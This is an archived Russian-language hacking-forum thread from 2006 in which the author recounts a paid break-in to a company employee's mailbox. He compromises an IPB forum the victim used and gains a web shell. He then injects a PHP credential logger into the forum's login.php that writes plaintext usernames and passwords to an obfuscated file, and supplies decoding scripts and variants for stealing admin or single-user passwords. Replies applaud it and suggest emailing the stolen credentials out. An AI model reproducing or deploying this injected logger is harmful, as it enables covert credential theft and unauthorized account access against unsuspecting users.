PDA

Просмотр полной версии : угон паролей в ipb


AoD
30.06.2006, 15:32
// История одного взлома.
---------------------------------------------------------------------------------
Итак, началось всё с того, что я получил заказ на угон пароля от
почтового ящика одного крупного Российского предприятия. Почтовый ящик находился
на том же сервере что и сайт этой конторы. Выпив пузырь пива я решил пойти по
пути наименьшего сопротивления и посмотреть на http://domainsdb.net (тогда этот
проект ещё работал) хостятся ли на этом сервере другие проекты в надежде найти
какой-нибудь бажный форум или CMS-ку. После недолгого изучения я понял, что он
крутится на выделенном сервере, то есть параллельных сайтов и форумов хостящихся
на этом сервере не было. Что ж подумал я пора взглянуть на сам портал этого
предприятия. Посмотрев на портал с первого взгляда можно было понять, что
крутится он на заказном неизвестном мне платном движке. Вооружившись ещё парой
пузырей пива и прикрывшись парой каскадных проксей и сокс серверов собственной
установки (не доверяю проксям и соксам, которые не ставил сам, будь они хоть
трижды анонимы) я начал ковырять этот двиг. Каково же было моё удивление, когда я
понял что в двиге всего 4-ре переменные, которые можно проверить. Но расстроился
я ещё больше, когда понял что ни PHP-inj, ни SQL-inj там провести не прокатит.
Все переменные жёстко фильтровались.
По предыдущему обследованию мне было и так ясно, что сервер крутится на
windows 2000 server с msSQL + IIS 5.0 + SSL. Надежда во мне засияла опять и я
полез шарить по своим запасам в поисках подходящих сплоитов, но, поковыряв
сервисы сплоитами я понял, что все они жёстко пропатчены. Пора сканить машину на
наличие бажных сервисов подумал я. Вооружившись надёжным, опять же собственным
shell-ом на FreeBSD-ёвой тачке я запустил nmap сканер. И опять таки обломался.
Никаких бажных сервисов я не нашел. Надежда приказала долго жить и чуть слышно
пискнув тихо скопытилась. На этом я чуть было не плюнул на это дело, так как
оставался только брутфорс, а я не сторонник грубой силы, да и перебирать пароль
из букв и цифр к тому же восьми символьный, (пароли сотрудникам выдавала служба
безопасности предприятия) мне не хотелось. Связавшись с заказчиком, я попросил у
него предоставить мне всё возможную информацию о пользователе ломаемого мыла.
Покопавшись немного в предоставленной инфе я обратил внимание на один часто
посещаемый им форум. Зайдя на форум я сразу понял что это ipb v2.1.4 (происходило
это в период когда только вышел сплоит от RUSH security team). Разобрав сплоит по
полочкам я въехал в то как работает эта уязвимость и ручками заколбасил себе
web-shell на этом форуме (господа юзайте руки и голову всегда, и вас никогда не
навестят маски шоу). О процессе взлома форума ipb не пишу, так как об этом и так
уже столько статей, что и lol разберётся. Что ж скажу сразу, что ставку я сделал
на совпадение пароля пользователя на форуме и на почтовом ящике. Слив себе базу
данных и выдрав из неё hash+соль этого пользователя я врубил PasswordsPro на
перебор паролей начиная сразу с 8-ми символов. Но после 2-х дней перебора и
надписи в PasswordsPro что до конца перебораосталость осталось ну наверное чуть больше
1000 дней я понял что этот вариант меня пожалуй не устроит. Вот тут-то я и понял,
что в гости ко мне пришла хана. Что ж упасть духом значит проиграть подумал я и
угостив эту самую хану пивом притупив, таким образом, её бдительность я начал
думать как мне добыть пароль этого чела и желательно не в зашифрованном виде.
п.с. думал я недолго так как решение пришло почти сразу. Пароль при входе на форум
вы вводите в незашифрованном виде ну а далее он уже шифруется. Значит, перехватить
пароль необходимо на стадии (после ввода до шифрования). Покопавшись в таком же
форуме на localhost-е я понял что обработка вводимых пользователем данных (логин
пароль) происходит в двух скриптах:

sources\action_public\login.php - для пользователей переменные 'UserName' 'PassWord'
sources\action_admin\login.php - для админки переменные 'username' 'password'

Значит, мне необходимо заинклудить в эти файлы свой код на php, который будет
перехватывать пароли пользователей при входе на форум, и записывать их в файл.
Но так как администратор может увидеть наш файл необходимо его криптовать.
Сделать это не составит труда имея под рукой web-shell от этого форума.

// Для этих самых нужд я и написал простенькую программку на php.


/* программа перехватывает вводивае пользователями логин и пароль
шифруит их в urlencode и записывает их в файл ./tmp/result в формате htm */

$user=$_POST['UserName'];
$pass=$_POST['PassWord'];
$saved="/tmp/result.htm";
$to=fopen("$saved","a");
$rstring="%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2 d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d% 20%2d%20%2d%20%2d%3c%62%72%3e";
fputs($to,$rstring);
$rezult="username:$user<br>password:$pass<br>";
for($i=0;$i<strlen($rezult);$i++)
{
$code=ord($rezult[$i]);
$hexcode=dechex($code);
fputs($to,"%".$hexcode);
}
fclose($to);


Заинклудив данный код в sources\action_public\login.php я стал ждать.
Через пару дней я зашёл на этот сайт через web-shell и скачал файл
/tmp/rezult.htm
Файл был такого вида(пример с localhost-а):


%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2 d%20%2d%20%2d%20%2d%20%2d%20%2d
%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%3c%62%72%3e%7 5%73%65%72%6e%61%6d%65%3a%61%64
%6d%69%6e%3c%62%72%3e%70%61%73%73%77%6f%72%64%3a%3 1%3c%62%72%3e%2d%20%2d%20%2d%20
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2 d%20%2d%20%2d%20%2d%20%2d%20%2d
%20%2d%20%2d%20%2d%3c%62%72%3e%75%73%65%72%6e%61%6 d%65%3a%61%64%6d%69%6e%3c%62%72
%3e%70%61%73%73%77%6f%72%64%3a%31%3c%62%72%3e%2d%2 0%2d%20%2d%20%2d%20%2d%20%2d%20
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2 d%20%2d%20%2d%20%2d%20%2d%20%2d
%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64%6d%6 9%6e%3c%62%72%3e%70%61%73%73%77
%6f%72%64%3a%31%3c%62%72%3e


Расшифровать его можно разными способами
1. Записываете в переменную string весь код приведённый выше и запускаете в браузере.


<?php
$string='%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%2 0';
echo urldecode($string);
?>


2. Этот способ поудобней чем первый. В одну директорию с этой программой записываете
result.htm и запускаете программу. В итоге получается файл decode.htm, который
просто открываете в браузере.


<?php
$linky="temp.htm"; // Путь файла чтения
$saved="decode.htm"; // Путь файла записи
$from=fopen("$linky","r") or die ("Ошибка открытия файла чтения");
$to=fopen("$saved","a") or die ("Ошибка открытия файла записи");
while(!feof($from))
{
$string=fgets($from);
fputs($to,urldecode($string));
}
fclose($to) or die ("Ошибка закрытия файла");
fclose($from) or die ("Ошибка закрытия файла");
?>


3. И мой любимый способ записываете этот код в файл и кладете его в htdocs. Туда же
записываете и result.htm. Далее прописываете в браузере
http://localhost/имя_скрипта.php.


<?php
$path_open="rezult.htm"; // Файл для обработки
$fopenet=fopen($path_open, "r") or die ("Ошибка открытия файла");
while (!feof($fopenet))
{
$string=fgets($fopenet);
echo urldecode($string);
}
fclose($fopenet) or die ("Ошибка закрытия файла");
?>


Врезультате я увидел в окне браузера незашифрованные пароли пользователей данного
форума. Примерно вот такого вида (пример с localhost-а):

- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
и так далее

Обычным поиском нашел нужного мне пользователя. Проверил, подходит ли пароль от
форума к почтовому ящику и вуаля ПОДХОДИТ!

// Всё на этом история этого взлома заканчивается. Заказчик получил заветный
доступ к чужому мылу, а я зелёных web-маняв.

п.с да и делать это можно не только на форумах ipb, но и во всех остальных
форумах, галереях, гостевых и.т.д, где есть форма регистрации пользователей
и естественно нужен хотя бы web-shell.

Кстати чтобы поиметь таким способом пароли от админки нужно тот же php код что
я поместил в sources\action_public\login.php поместить в
sources\action_admin\login.php заменив предварительно переменную 'UserName' на
'username' а переменную 'PassWord' на 'password' и в тот же файл будут
приходить пароли от админки.

Также можно тырити пароли конкретного пользователя. Для этого просто нужно
использовать конструкцию if т.е сравнить полученное имя пользователя с заранее
записанным и если они совпадают пишем в файл. Если нет то адьёс.

//by AoD специально for Antichat

DimaHbl4
30.06.2006, 16:09
Статья Зач0ТНая мне понравилась. Чисто как проходил сам процесс, остальное не ново.
Вообще + и уважение заслужил. Но сам ли ты это делал?

AoD
30.06.2006, 16:18
Статья Зач0ТНая мне понравилась. Чисто как проходил сам процесс, остальное не ново.
Вообще + и уважение заслужил. Но сам ли ты это делал?

Статья моя. Ничего чужого.
п.с. это было в реале

Ch3ck
30.06.2006, 16:18
Да, статья ничего... но вот меня как и Диманыча интересует сам ли ты это всё делал. А статья написана с таким же акцентом как истатьи которые пишут в Хакере. Я не говорю, что ты её оттуда взял, просто прям такие же слова... такой же ход мыслей...
Ладно, хрен с ним, держи +

AoD
30.06.2006, 16:24
Да, статья ничего... но вот меня как и Диманыча интересует сам ли ты это всё делал. А статья написана с таким же акцентом как истатьи которые пишут в Хакере. Я не говорю, что ты её оттуда взял, просто прям такие же слова... такой же ход мыслей...
Ладно, хрен с ним, держи +


Правы только в одном сленг похож на статьи из хакера. Наверное, потому что хакер я читаю с самого первого номера. Статью написал сегодня с самого утра сидел колбасил на работе. п.с. работодатель убьёт :)

bul.666
30.06.2006, 16:39
На самом деле статья, а вернее её способ стар... Но всё равно поставлю +1 ))))

bl4ck-cat
30.06.2006, 16:44
непонял 1... зачем кодить то? если админ таки посечет и если не дурак, то всё расшифрует )) и второе не легче ли написать скрипт который не будет записывать всё в файл, а будет отправлять всё на специально заготовленое мыло? ))) тогда и админ не посечет и криптовать файл ненадо :)

AoD
30.06.2006, 16:52
непонял 1... зачем кодить то? если админ таки посечет и если не дурак, то всё расшифрует )) и второе не легче ли написать скрипт который не будет записывать всё в файл, а будет отправлять всё на специально заготовленое мыло? ))) тогда и админ не посечет и криптовать файл ненадо :)

Если админ нормальный он и так просичёт, а криптится для плохих админов которых я считаю большинство. Вот посмотрит такой хреновый админ в ./tmp/result увидит билибирдень и отвалит, а если увидит пароли от своего форума в открытом виде, то и этот lol поймёт что его поимели. (Так называемая защита от дурака).

А на счёт отправки на мыло – это актуально просто не стал заморачиватся.

AoD
30.06.2006, 16:59
На самом деле статья, а вернее её способ стар... Но всё равно поставлю +1 ))))

А вот из за того, что способ банален я и решил написать эту статью. Ведь взломом я промышляю чуть ли не с самого детства а про такой способ нигде и ни читал хотя читаю очень много статей и книг по тематике данного форума.

Zadoxlik
30.06.2006, 17:51
Это все очень весело и яйку понятно, однако я в своей скромной практике встречал едвали больше 2-3 форумов, где вот так вот просто стояли права на запись в скриптах авторизации и скриптах, инклудаемых в скрипт авторизации

Ch3ck
30.06.2006, 18:35
Это все очень весело и яйку понятно, однако я в своей скромной практике встречал едвали больше 2-3 форумов, где вот так вот просто стояли права на запись в скриптах авторизации и скриптах, инклудаемых в скрипт авторизации


Согласен с тобой... у меня такая же шляпа.

AoD
30.06.2006, 21:49
Это все очень весело и яйку понятно, однако я в своей скромной практике встречал едвали больше 2-3 форумов, где вот так вот просто стояли права на запись в скриптах авторизации и скриптах, инклудаемых в скрипт авторизации


А мне, кстати, не встречалось проектов, в которых стоял бы запрет на запись в эти файлы.
Но я, наверное, и не ломал такие крупные хакерские проекты как ты, скорее всего в этом причина.

Хотя я ломал крупные хостинги. Но это всё зависит от админов однако.